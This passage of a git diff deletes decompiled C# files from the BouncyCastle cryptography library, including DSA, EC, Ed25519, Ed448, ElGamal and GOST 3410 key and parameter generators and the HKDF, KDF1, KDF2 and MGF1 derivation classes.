digest.GetDigestSize() * 8; - int n = N; - byte[] array = new byte[n / 8]; - int num2 = (L - 1) / num; - int n2 = (L - 1) % num; - byte[] array2 = new byte[digest.GetDigestSize()]; - while (true) - { - random.NextBytes(array); - Hash(digest, array, array2); - BigInteger bigInteger = new BigInteger(1, array2).Mod(BigInteger.One.ShiftLeft(N - 1)); - BigInteger bigInteger2 = bigInteger.SetBit(0).SetBit(N - 1); - if (!bigInteger2.IsProbablePrime(certainty)) - { - continue; - } - byte[] array3 = Arrays.Clone(array); - int num3 = 4 * L; - for (int i = 0; i < num3; i++) - { - BigInteger bigInteger3 = BigInteger.Zero; - int num4 = 0; - int num5 = 0; - while (num4 <= num2) - { - Inc(array3); - Hash(digest, array3, array2); - BigInteger bigInteger4 = new BigInteger(1, array2); - if (num4 == num2) - { - bigInteger4 = bigInteger4.Mod(BigInteger.One.ShiftLeft(n2)); - } - bigInteger3 = bigInteger3.Add(bigInteger4.ShiftLeft(num5)); - num4++; - num5 += num; - } - BigInteger bigInteger5 = bigInteger3.Add(BigInteger.One.ShiftLeft(L - 1)); - BigInteger bigInteger6 = bigInteger5.Mod(bigInteger2.ShiftLeft(1)); - BigInteger bigInteger7 = bigInteger5.Subtract(bigInteger6.Subtract(BigInteger.One)); - if (bigInteger7.BitLength != L || !bigInteger7.IsProbablePrime(certainty)) - { - continue; - } - if (usageIndex >= 0) - { - BigInteger bigInteger8 = CalculateGenerator_FIPS186_3_Verifiable(digest, bigInteger7, bigInteger2, array, usageIndex); - if (bigInteger8 != null) - { - return new DsaParameters(bigInteger7, bigInteger2, bigInteger8, new DsaValidationParameters(array, i, usageIndex)); - } - } - BigInteger g = CalculateGenerator_FIPS186_3_Unverifiable(bigInteger7, bigInteger2, random); - return new DsaParameters(bigInteger7, bigInteger2, g, new DsaValidationParameters(array, i)); - } - } - } - - protected virtual BigInteger CalculateGenerator_FIPS186_3_Unverifiable(BigInteger p, BigInteger q, SecureRandom r) - { - return CalculateGenerator_FIPS186_2(p, q, r); - } - - protected virtual BigInteger CalculateGenerator_FIPS186_3_Verifiable(IDigest d, BigInteger p, BigInteger q, byte[] seed, int index) - { - BigInteger e = p.Subtract(BigInteger.One).Divide(q); - byte[] array = Hex.Decode("6767656E"); - byte[] array2 = new byte[seed.Length + array.Length + 1 + 2]; - Array.Copy(seed, 0, array2, 0, seed.Length); - Array.Copy(array, 0, array2, seed.Length, array.Length); - array2[^3] = (byte)index; - byte[] array3 = new byte[d.GetDigestSize()]; - for (int i = 1; i < 65536; i++) - { - Inc(array2); - Hash(d, array2, array3); - BigInteger bigInteger = new BigInteger(1, array3); - BigInteger bigInteger2 = bigInteger.ModPow(e, p); - if (bigInteger2.CompareTo(BigInteger.Two) >= 0) - { - return bigInteger2; - } - } - return null; - } - - private static bool IsValidDsaStrength(int strength) - { - if (strength >= 512 && strength <= 1024) - { - return strength % 64 == 0; - } - return false; - } - - protected static void Hash(IDigest d, byte[] input, byte[] output) - { - d.BlockUpdate(input, 0, input.Length); - d.DoFinal(output, 0); - } - - private static int GetDefaultN(int L) - { - if (L <= 1024) - { - return 160; - } - return 256; - } - - protected static void Inc(byte[] buf) - { - int num = buf.Length - 1; - while (num >= 0 && ++buf[num] == 0) - { - num--; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ECKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ECKeyPairGenerator.cs deleted file mode 100644 index 2ef71a7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ECKeyPairGenerator.cs +++ /dev/null @@ -1,112 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Sec; -using Org.BouncyCastle.Asn1.X9; -using Org.BouncyCastle.Crypto.EC; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class ECKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private readonly string algorithm; - - private ECDomainParameters parameters; - - private DerObjectIdentifier publicKeyParamSet; - - private SecureRandom random; - - public ECKeyPairGenerator() - : this("EC") - { - } - - public ECKeyPairGenerator(string algorithm) - { - if (algorithm == null) - { - throw new ArgumentNullException("algorithm"); - } - this.algorithm = ECKeyParameters.VerifyAlgorithmName(algorithm); - } - - public void Init(KeyGenerationParameters parameters) - { - if (parameters is ECKeyGenerationParameters) - { - ECKeyGenerationParameters eCKeyGenerationParameters = (ECKeyGenerationParameters)parameters; - publicKeyParamSet = eCKeyGenerationParameters.PublicKeyParamSet; - this.parameters = eCKeyGenerationParameters.DomainParameters; - } - else - { - DerObjectIdentifier oid = parameters.Strength switch - { - 192 => X9ObjectIdentifiers.Prime192v1, - 224 => SecObjectIdentifiers.SecP224r1, - 239 => X9ObjectIdentifiers.Prime239v1, - 256 => X9ObjectIdentifiers.Prime256v1, - 384 => SecObjectIdentifiers.SecP384r1, - 521 => SecObjectIdentifiers.SecP521r1, - _ => throw new InvalidParameterException("unknown key size."), - }; - X9ECParameters x9ECParameters = FindECCurveByOid(oid); - publicKeyParamSet = oid; - this.parameters = new ECDomainParameters(x9ECParameters.Curve, x9ECParameters.G, x9ECParameters.N, x9ECParameters.H, x9ECParameters.GetSeed()); - } - random = parameters.Random; - if (random == null) - { - random = new SecureRandom(); - } - } - - public AsymmetricCipherKeyPair GenerateKeyPair() - { - BigInteger n = parameters.N; - int num = n.BitLength >> 2; - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(n.BitLength, random); - } - while (bigInteger.CompareTo(BigInteger.Two) < 0 || bigInteger.CompareTo(n) >= 0 || WNafUtilities.GetNafWeight(bigInteger) < num); - ECPoint q = CreateBasePointMultiplier().Multiply(parameters.G, bigInteger); - if (publicKeyParamSet != null) - { - return new AsymmetricCipherKeyPair(new ECPublicKeyParameters(algorithm, q, publicKeyParamSet), new ECPrivateKeyParameters(algorithm, bigInteger, publicKeyParamSet)); - } - return new AsymmetricCipherKeyPair(new ECPublicKeyParameters(algorithm, q, parameters), new ECPrivateKeyParameters(algorithm, bigInteger, parameters)); - } - - protected virtual ECMultiplier CreateBasePointMultiplier() - { - return new FixedPointCombMultiplier(); - } - - internal static X9ECParameters FindECCurveByOid(DerObjectIdentifier oid) - { - X9ECParameters byOid = CustomNamedCurves.GetByOid(oid); - if (byOid == null) - { - byOid = ECNamedCurveTable.GetByOid(oid); - } - return byOid; - } - - internal static ECPublicKeyParameters GetCorrespondingPublicKey(ECPrivateKeyParameters privKey) - { - ECDomainParameters eCDomainParameters = privKey.Parameters; - ECPoint q = new FixedPointCombMultiplier().Multiply(eCDomainParameters.G, privKey.D); - if (privKey.PublicKeyParamSet != null) - { - return new ECPublicKeyParameters(privKey.AlgorithmName, q, privKey.PublicKeyParamSet); - } - return new ECPublicKeyParameters(privKey.AlgorithmName, q, eCDomainParameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Ed25519KeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Ed25519KeyPairGenerator.cs deleted file mode 100644 index 0726f0d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Ed25519KeyPairGenerator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Ed25519KeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private SecureRandom random; - - public virtual void Init(KeyGenerationParameters parameters) - { - random = parameters.Random; - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - Ed25519PrivateKeyParameters ed25519PrivateKeyParameters = new Ed25519PrivateKeyParameters(random); - Ed25519PublicKeyParameters publicParameter = ed25519PrivateKeyParameters.GeneratePublicKey(); - return new AsymmetricCipherKeyPair(publicParameter, ed25519PrivateKeyParameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Ed448KeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Ed448KeyPairGenerator.cs deleted file mode 100644 index f084f4b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Ed448KeyPairGenerator.cs +++ /dev/null @@ -1,21 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Ed448KeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private SecureRandom random; - - public virtual void Init(KeyGenerationParameters parameters) - { - random = parameters.Random; - } - - public virtual AsymmetricCipherKeyPair GenerateKeyPair() - { - Ed448PrivateKeyParameters ed448PrivateKeyParameters = new Ed448PrivateKeyParameters(random); - Ed448PublicKeyParameters publicParameter = ed448PrivateKeyParameters.GeneratePublicKey(); - return new AsymmetricCipherKeyPair(publicParameter, ed448PrivateKeyParameters); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ElGamalKeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ElGamalKeyPairGenerator.cs deleted file mode 100644 index b700fb1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ElGamalKeyPairGenerator.cs +++ /dev/null @@ -1,24 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class ElGamalKeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private ElGamalKeyGenerationParameters param; - - public void Init(KeyGenerationParameters parameters) - { - param = (ElGamalKeyGenerationParameters)parameters; - } - - public AsymmetricCipherKeyPair GenerateKeyPair() - { - DHKeyGeneratorHelper instance = DHKeyGeneratorHelper.Instance; - ElGamalParameters parameters = param.Parameters; - DHParameters dhParams = new DHParameters(parameters.P, parameters.G, null, 0, parameters.L); - BigInteger x = instance.CalculatePrivate(dhParams, param.Random); - BigInteger y = instance.CalculatePublic(dhParams, x); - return new AsymmetricCipherKeyPair(new ElGamalPublicKeyParameters(y, parameters), new ElGamalPrivateKeyParameters(x, parameters)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ElGamalParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ElGamalParametersGenerator.cs deleted file mode 100644 index dff98c3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/ElGamalParametersGenerator.cs +++ /dev/null @@ -1,30 +0,0 @@ -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class ElGamalParametersGenerator -{ - private int size; - - private int certainty; - - private SecureRandom random; - - public void Init(int size, int certainty, SecureRandom random) - { - this.size = size; - this.certainty = certainty; - this.random = random; - } - - public ElGamalParameters GenerateParameters() - { - BigInteger[] array = DHParametersHelper.GenerateSafePrimes(size, certainty, random); - BigInteger p = array[0]; - BigInteger q = array[1]; - BigInteger g = DHParametersHelper.SelectGenerator(p, q, random); - return new ElGamalParameters(p, g); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Gost3410KeyPairGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Gost3410KeyPairGenerator.cs deleted file mode 100644 index 952cd3b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Gost3410KeyPairGenerator.cs +++ /dev/null @@ -1,47 +0,0 @@ -using Org.BouncyCastle.Asn1.CryptoPro; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Math.EC.Multiplier; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Gost3410KeyPairGenerator : IAsymmetricCipherKeyPairGenerator -{ - private Gost3410KeyGenerationParameters param; - - public void Init(KeyGenerationParameters parameters) - { - if (parameters is Gost3410KeyGenerationParameters) - { - param = (Gost3410KeyGenerationParameters)parameters; - return; - } - Gost3410KeyGenerationParameters gost3410KeyGenerationParameters = new Gost3410KeyGenerationParameters(parameters.Random, CryptoProObjectIdentifiers.GostR3410x94CryptoProA); - _ = parameters.Strength; - _ = gost3410KeyGenerationParameters.Parameters.P.BitLength - 1; - param = gost3410KeyGenerationParameters; - } - - public AsymmetricCipherKeyPair GenerateKeyPair() - { - SecureRandom random = param.Random; - Gost3410Parameters parameters = param.Parameters; - BigInteger q = parameters.Q; - int num = 64; - BigInteger bigInteger; - do - { - bigInteger = new BigInteger(256, random); - } - while (bigInteger.SignValue < 1 || bigInteger.CompareTo(q) >= 0 || WNafUtilities.GetNafWeight(bigInteger) < num); - BigInteger p = parameters.P; - BigInteger a = parameters.A; - BigInteger y = a.ModPow(bigInteger, p); - if (param.PublicKeyParamSet != null) - { - return new AsymmetricCipherKeyPair(new Gost3410PublicKeyParameters(y, param.PublicKeyParamSet), new Gost3410PrivateKeyParameters(bigInteger, param.PublicKeyParamSet)); - } - return new AsymmetricCipherKeyPair(new Gost3410PublicKeyParameters(y, parameters), new Gost3410PrivateKeyParameters(bigInteger, parameters)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Gost3410ParametersGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Gost3410ParametersGenerator.cs deleted file mode 100644 index e3d41f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Gost3410ParametersGenerator.cs +++ /dev/null @@ -1,363 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Gost3410ParametersGenerator -{ - private int size; - - private int typeproc; - - private SecureRandom init_random; - - public void Init(int size, int typeProcedure, SecureRandom random) - { - this.size = size; - typeproc = typeProcedure; - init_random = random; - } - - private int procedure_A(int x0, int c, BigInteger[] pq, int size) - { - while (x0 < 0 || x0 > 65536) - { - x0 = init_random.NextInt() / 32768; - } - while (c < 0 || c > 65536 || c / 2 == 0) - { - c = init_random.NextInt() / 32768 + 1; - } - BigInteger value = BigInteger.ValueOf(c); - BigInteger val = BigInteger.ValueOf(19381L); - BigInteger[] array = new BigInteger[1] { BigInteger.ValueOf(x0) }; - int[] array2 = new int[1] { size }; - int num = 0; - for (int i = 0; array2[i] >= 17; i++) - { - int[] array3 = new int[array2.Length + 1]; - Array.Copy(array2, 0, array3, 0, array2.Length); - array2 = new int[array3.Length]; - Array.Copy(array3, 0, array2, 0, array3.Length); - array2[i + 1] = array2[i] / 2; - num = i + 1; - } - BigInteger[] array4 = new BigInteger[num + 1]; - array4[num] = new BigInteger("8003", 16); - int num2 = num - 1; - for (int j = 0; j < num; j++) - { - int num3 = array2[num2] / 16; - while (true) - { - BigInteger[] array5 = new BigInteger[array.Length]; - Array.Copy(array, 0, array5, 0, array.Length); - array = new BigInteger[num3 + 1]; - Array.Copy(array5, 0, array, 0, array5.Length); - for (int k = 0; k < num3; k++) - { - array[k + 1] = array[k].Multiply(val).Add(value).Mod(BigInteger.Two.Pow(16)); - } - BigInteger bigInteger = BigInteger.Zero; - for (int l = 0; l < num3; l++) - { - bigInteger = bigInteger.Add(array[l].ShiftLeft(16 * l)); - } - array[0] = array[num3]; - BigInteger bigInteger2 = BigInteger.One.ShiftLeft(array2[num2] - 1).Divide(array4[num2 + 1]).Add(bigInteger.ShiftLeft(array2[num2] - 1).Divide(array4[num2 + 1].ShiftLeft(16 * num3))); - if (bigInteger2.TestBit(0)) - { - bigInteger2 = bigInteger2.Add(BigInteger.One); - } - while (true) - { - BigInteger bigInteger3 = bigInteger2.Multiply(array4[num2 + 1]); - if (bigInteger3.BitLength > array2[num2]) - { - break; - } - array4[num2] = bigInteger3.Add(BigInteger.One); - if (BigInteger.Two.ModPow(bigInteger3, array4[num2]).CompareTo(BigInteger.One) == 0 && BigInteger.Two.ModPow(bigInteger2, array4[num2]).CompareTo(BigInteger.One) != 0) - { - goto end_IL_0106; - } - bigInteger2 = bigInteger2.Add(BigInteger.Two); - } - continue; - end_IL_0106: - break; - } - if (--num2 < 0) - { - pq[0] = array4[0]; - pq[1] = array4[1]; - return array[0].IntValue; - } - } - return array[0].IntValue; - } - - private long procedure_Aa(long x0, long c, BigInteger[] pq, int size) - { - while (x0 < 0 || x0 > 4294967296L) - { - x0 = init_random.NextInt() * 2; - } - while (c < 0 || c > 4294967296L || c / 2 == 0) - { - c = init_random.NextInt() * 2 + 1; - } - BigInteger value = BigInteger.ValueOf(c); - BigInteger val = BigInteger.ValueOf(97781173L); - BigInteger[] array = new BigInteger[1] { BigInteger.ValueOf(x0) }; - int[] array2 = new int[1] { size }; - int num = 0; - for (int i = 0; array2[i] >= 33; i++) - { - int[] array3 = new int[array2.Length + 1]; - Array.Copy(array2, 0, array3, 0, array2.Length); - array2 = new int[array3.Length]; - Array.Copy(array3, 0, array2, 0, array3.Length); - array2[i + 1] = array2[i] / 2; - num = i + 1; - } - BigInteger[] array4 = new BigInteger[num + 1]; - array4[num] = new BigInteger("8000000B", 16); - int num2 = num - 1; - for (int j = 0; j < num; j++) - { - int num3 = array2[num2] / 32; - while (true) - { - BigInteger[] array5 = new BigInteger[array.Length]; - Array.Copy(array, 0, array5, 0, array.Length); - array = new BigInteger[num3 + 1]; - Array.Copy(array5, 0, array, 0, array5.Length); - for (int k = 0; k < num3; k++) - { - array[k + 1] = array[k].Multiply(val).Add(value).Mod(BigInteger.Two.Pow(32)); - } - BigInteger bigInteger = BigInteger.Zero; - for (int l = 0; l < num3; l++) - { - bigInteger = bigInteger.Add(array[l].ShiftLeft(32 * l)); - } - array[0] = array[num3]; - BigInteger bigInteger2 = BigInteger.One.ShiftLeft(array2[num2] - 1).Divide(array4[num2 + 1]).Add(bigInteger.ShiftLeft(array2[num2] - 1).Divide(array4[num2 + 1].ShiftLeft(32 * num3))); - if (bigInteger2.TestBit(0)) - { - bigInteger2 = bigInteger2.Add(BigInteger.One); - } - while (true) - { - BigInteger bigInteger3 = bigInteger2.Multiply(array4[num2 + 1]); - if (bigInteger3.BitLength > array2[num2]) - { - break; - } - array4[num2] = bigInteger3.Add(BigInteger.One); - if (BigInteger.Two.ModPow(bigInteger3, array4[num2]).CompareTo(BigInteger.One) == 0 && BigInteger.Two.ModPow(bigInteger2, array4[num2]).CompareTo(BigInteger.One) != 0) - { - goto end_IL_010b; - } - bigInteger2 = bigInteger2.Add(BigInteger.Two); - } - continue; - end_IL_010b: - break; - } - if (--num2 < 0) - { - pq[0] = array4[0]; - pq[1] = array4[1]; - return array[0].LongValue; - } - } - return array[0].LongValue; - } - - private void procedure_B(int x0, int c, BigInteger[] pq) - { - while (x0 < 0 || x0 > 65536) - { - x0 = init_random.NextInt() / 32768; - } - while (c < 0 || c > 65536 || c / 2 == 0) - { - c = init_random.NextInt() / 32768 + 1; - } - BigInteger[] array = new BigInteger[2]; - BigInteger bigInteger = null; - BigInteger bigInteger2 = null; - BigInteger bigInteger3 = null; - BigInteger value = BigInteger.ValueOf(c); - BigInteger val = BigInteger.ValueOf(19381L); - x0 = procedure_A(x0, c, array, 256); - bigInteger = array[0]; - x0 = procedure_A(x0, c, array, 512); - bigInteger2 = array[0]; - BigInteger[] array2 = new BigInteger[65]; - array2[0] = BigInteger.ValueOf(x0); - BigInteger bigInteger4 = bigInteger.Multiply(bigInteger2); - while (true) - { - for (int i = 0; i < 64; i++) - { - array2[i + 1] = array2[i].Multiply(val).Add(value).Mod(BigInteger.Two.Pow(16)); - } - BigInteger bigInteger5 = BigInteger.Zero; - for (int j = 0; j < 64; j++) - { - bigInteger5 = bigInteger5.Add(array2[j].ShiftLeft(16 * j)); - } - array2[0] = array2[64]; - BigInteger bigInteger6 = BigInteger.One.ShiftLeft(1023).Divide(bigInteger4).Add(bigInteger5.ShiftLeft(1023).Divide(bigInteger4.ShiftLeft(1024))); - if (bigInteger6.TestBit(0)) - { - bigInteger6 = bigInteger6.Add(BigInteger.One); - } - while (true) - { - BigInteger bigInteger7 = bigInteger4.Multiply(bigInteger6); - if (bigInteger7.BitLength > 1024) - { - break; - } - bigInteger3 = bigInteger7.Add(BigInteger.One); - if (BigInteger.Two.ModPow(bigInteger7, bigInteger3).CompareTo(BigInteger.One) == 0 && BigInteger.Two.ModPow(bigInteger.Multiply(bigInteger6), bigInteger3).CompareTo(BigInteger.One) != 0) - { - pq[0] = bigInteger3; - pq[1] = bigInteger; - return; - } - bigInteger6 = bigInteger6.Add(BigInteger.Two); - } - } - } - - private void procedure_Bb(long x0, long c, BigInteger[] pq) - { - while (x0 < 0 || x0 > 4294967296L) - { - x0 = init_random.NextInt() * 2; - } - while (c < 0 || c > 4294967296L || c / 2 == 0) - { - c = init_random.NextInt() * 2 + 1; - } - BigInteger[] array = new BigInteger[2]; - BigInteger bigInteger = null; - BigInteger bigInteger2 = null; - BigInteger bigInteger3 = null; - BigInteger value = BigInteger.ValueOf(c); - BigInteger val = BigInteger.ValueOf(97781173L); - x0 = procedure_Aa(x0, c, array, 256); - bigInteger = array[0]; - x0 = procedure_Aa(x0, c, array, 512); - bigInteger2 = array[0]; - BigInteger[] array2 = new BigInteger[33]; - array2[0] = BigInteger.ValueOf(x0); - BigInteger bigInteger4 = bigInteger.Multiply(bigInteger2); - while (true) - { - for (int i = 0; i < 32; i++) - { - array2[i + 1] = array2[i].Multiply(val).Add(value).Mod(BigInteger.Two.Pow(32)); - } - BigInteger bigInteger5 = BigInteger.Zero; - for (int j = 0; j < 32; j++) - { - bigInteger5 = bigInteger5.Add(array2[j].ShiftLeft(32 * j)); - } - array2[0] = array2[32]; - BigInteger bigInteger6 = BigInteger.One.ShiftLeft(1023).Divide(bigInteger4).Add(bigInteger5.ShiftLeft(1023).Divide(bigInteger4.ShiftLeft(1024))); - if (bigInteger6.TestBit(0)) - { - bigInteger6 = bigInteger6.Add(BigInteger.One); - } - while (true) - { - BigInteger bigInteger7 = bigInteger4.Multiply(bigInteger6); - if (bigInteger7.BitLength > 1024) - { - break; - } - bigInteger3 = bigInteger7.Add(BigInteger.One); - if (BigInteger.Two.ModPow(bigInteger7, bigInteger3).CompareTo(BigInteger.One) == 0 && BigInteger.Two.ModPow(bigInteger.Multiply(bigInteger6), bigInteger3).CompareTo(BigInteger.One) != 0) - { - pq[0] = bigInteger3; - pq[1] = bigInteger; - return; - } - bigInteger6 = bigInteger6.Add(BigInteger.Two); - } - } - } - - private BigInteger procedure_C(BigInteger p, BigInteger q) - { - BigInteger bigInteger = p.Subtract(BigInteger.One); - BigInteger e = bigInteger.Divide(q); - BigInteger bigInteger3; - while (true) - { - BigInteger bigInteger2 = new BigInteger(p.BitLength, init_random); - if (bigInteger2.CompareTo(BigInteger.One) > 0 && bigInteger2.CompareTo(bigInteger) < 0) - { - bigInteger3 = bigInteger2.ModPow(e, p); - if (bigInteger3.CompareTo(BigInteger.One) != 0) - { - break; - } - } - } - return bigInteger3; - } - - public Gost3410Parameters GenerateParameters() - { - BigInteger[] array = new BigInteger[2]; - BigInteger bigInteger = null; - BigInteger bigInteger2 = null; - BigInteger bigInteger3 = null; - if (typeproc == 1) - { - int x = init_random.NextInt(); - int c = init_random.NextInt(); - switch (size) - { - case 512: - procedure_A(x, c, array, 512); - break; - case 1024: - procedure_B(x, c, array); - break; - default: - throw new ArgumentException("Ooops! key size 512 or 1024 bit."); - } - bigInteger2 = array[0]; - bigInteger = array[1]; - bigInteger3 = procedure_C(bigInteger2, bigInteger); - return new Gost3410Parameters(bigInteger2, bigInteger, bigInteger3, new Gost3410ValidationParameters(x, c)); - } - long num = init_random.NextLong(); - long num2 = init_random.NextLong(); - switch (size) - { - case 512: - procedure_Aa(num, num2, array, 512); - break; - case 1024: - procedure_Bb(num, num2, array); - break; - default: - throw new InvalidOperationException("Ooops! key size 512 or 1024 bit."); - } - bigInteger2 = array[0]; - bigInteger = array[1]; - bigInteger3 = procedure_C(bigInteger2, bigInteger); - return new Gost3410Parameters(bigInteger2, bigInteger, bigInteger3, new Gost3410ValidationParameters(num, num2)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/HkdfBytesGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/HkdfBytesGenerator.cs deleted file mode 100644 index bbc017e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/HkdfBytesGenerator.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Macs; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class HkdfBytesGenerator : IDerivationFunction -{ - private HMac hMacHash; - - private int hashLen; - - private byte[] info; - - private byte[] currentT; - - private int generatedBytes; - - public virtual IDigest Digest => hMacHash.GetUnderlyingDigest(); - - public HkdfBytesGenerator(IDigest hash) - { - hMacHash = new HMac(hash); - hashLen = hash.GetDigestSize(); - } - - public virtual void Init(IDerivationParameters parameters) - { - if (!(parameters is HkdfParameters)) - { - throw new ArgumentException("HKDF parameters required for HkdfBytesGenerator", "parameters"); - } - HkdfParameters hkdfParameters = (HkdfParameters)parameters; - if (hkdfParameters.SkipExtract) - { - hMacHash.Init(new KeyParameter(hkdfParameters.GetIkm())); - } - else - { - hMacHash.Init(Extract(hkdfParameters.GetSalt(), hkdfParameters.GetIkm())); - } - info = hkdfParameters.GetInfo(); - generatedBytes = 0; - currentT = new byte[hashLen]; - } - - private KeyParameter Extract(byte[] salt, byte[] ikm) - { - if (salt == null) - { - hMacHash.Init(new KeyParameter(new byte[hashLen])); - } - else - { - hMacHash.Init(new KeyParameter(salt)); - } - hMacHash.BlockUpdate(ikm, 0, ikm.Length); - byte[] array = new byte[hashLen]; - hMacHash.DoFinal(array, 0); - return new KeyParameter(array); - } - - private void ExpandNext() - { - int num = generatedBytes / hashLen + 1; - if (num >= 256) - { - throw new DataLengthException("HKDF cannot generate more than 255 blocks of HashLen size"); - } - if (generatedBytes != 0) - { - hMacHash.BlockUpdate(currentT, 0, hashLen); - } - hMacHash.BlockUpdate(info, 0, info.Length); - hMacHash.Update((byte)num); - hMacHash.DoFinal(currentT, 0); - } - - public virtual int GenerateBytes(byte[] output, int outOff, int len) - { - if (generatedBytes + len > 255 * hashLen) - { - throw new DataLengthException("HKDF may only be used for 255 * HashLen bytes of output"); - } - if (generatedBytes % hashLen == 0) - { - ExpandNext(); - } - int num = len; - int sourceIndex = generatedBytes % hashLen; - int val = hashLen - generatedBytes % hashLen; - int num2 = System.Math.Min(val, num); - Array.Copy(currentT, sourceIndex, output, outOff, num2); - generatedBytes += num2; - num -= num2; - outOff += num2; - while (num > 0) - { - ExpandNext(); - num2 = System.Math.Min(hashLen, num); - Array.Copy(currentT, 0, output, outOff, num2); - generatedBytes += num2; - num -= num2; - outOff += num2; - } - return len; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Kdf1BytesGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Kdf1BytesGenerator.cs deleted file mode 100644 index ffc8e2a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Kdf1BytesGenerator.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Generators; - -public class Kdf1BytesGenerator : BaseKdfBytesGenerator -{ - public Kdf1BytesGenerator(IDigest digest) - : base(0, digest) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Kdf2BytesGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Kdf2BytesGenerator.cs deleted file mode 100644 index a6881b6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Kdf2BytesGenerator.cs +++ /dev/null @@ -1,9 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Generators; - -public class Kdf2BytesGenerator : BaseKdfBytesGenerator -{ - public Kdf2BytesGenerator(IDigest digest) - : base(1, digest) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Mgf1BytesGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Mgf1BytesGenerator.cs deleted file mode 100644 index 2d4d734..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Generators/Mgf1BytesGenerator.cs +++ /dev/null @@ -1,72 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; - -namespace Org.BouncyCastle.Crypto.Generators; - -public class Mgf1BytesGenerator : IDerivationFunction -{ - private IDigest digest; - - private byte[] seed; - - private int hLen; - - public IDigest Digest => digest; - - public Mgf1BytesGenerator(IDigest digest) - { - this.digest = digest; - hLen = digest.GetDigestSize(); - } - - public void Init(IDerivationParameters parameters) - { - if (!typeof(MgfParameters).IsInstanceOfType(parameters)) - 